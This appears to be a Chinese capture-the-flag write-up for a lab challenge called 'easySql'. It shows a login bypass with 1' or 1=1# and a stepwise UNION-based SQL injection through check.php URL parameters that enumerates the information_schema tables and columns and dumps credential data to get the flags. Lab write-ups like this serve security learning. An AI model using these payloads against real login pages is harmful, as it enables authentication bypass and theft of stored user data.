一道easySql
尝试一下弱口令
看到url框有刚刚输入的账号:1 密码:1
试试万能密码
1' or 1=1#
原理:
假设登录的验证的语句是
select * from admin where username= '".$username."' and password= '".md5($password)."'
那么我将 1' or 1=1# 放在用户名的位置
那么语句会变成
select * from admin where username= '1' or 1=1#' and password= '".md5($password)."'
# 将后面的' and password= '".md5($password)."'注释掉了
select * from admin where username= '1' or 1=1
此时这条语句恒真
自然就进去了flag:flag{55b93b12-e685-44d5-9093-5c304ef6a036}
进去看看
想用sqlmap我不拦着哈哈哈哈哈哈
像前边那样用万能密码看看
有一串这玩意
Your password is '284af4078468d974217166f20e9aa249'
拿去md5试了下没成,但是却弄出了用户名是admin
那就试试url框注入,这里用的注释是url编码%23
/check.php?username=admin' and 1=1%23&password=a
/check.php?username=admin' and 1=-1%23&password=a
观察回显有注入点,狂喜
开始猜字段数
/check.php?username=admin' order by 4%23&password=a
一直到order by 4的时候回显错误
用union搞出来回显位置
/check.php?username=a' union select 1,2,3%23&password=a
查询当前数据库名及版本:
/check.php?username=a' union select 1,database(),version()%23&password=a
数据库名是:geek
爆表爆表
/check.php?username=a' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=a
两个表:geekuser,l0ve1ysq1
不知道藏哪个表里?
全干一遍
试过了,冲 l0ve1ysq1 这个表
干字段
/check.php?username=a' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=a
有字段:id,username,password
干数据
/check.php?username=a' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=a
可长一坨,但是往后拉看见了flag字样flag{e3a3f174-abc3-4823-a2fe-7e1203767584}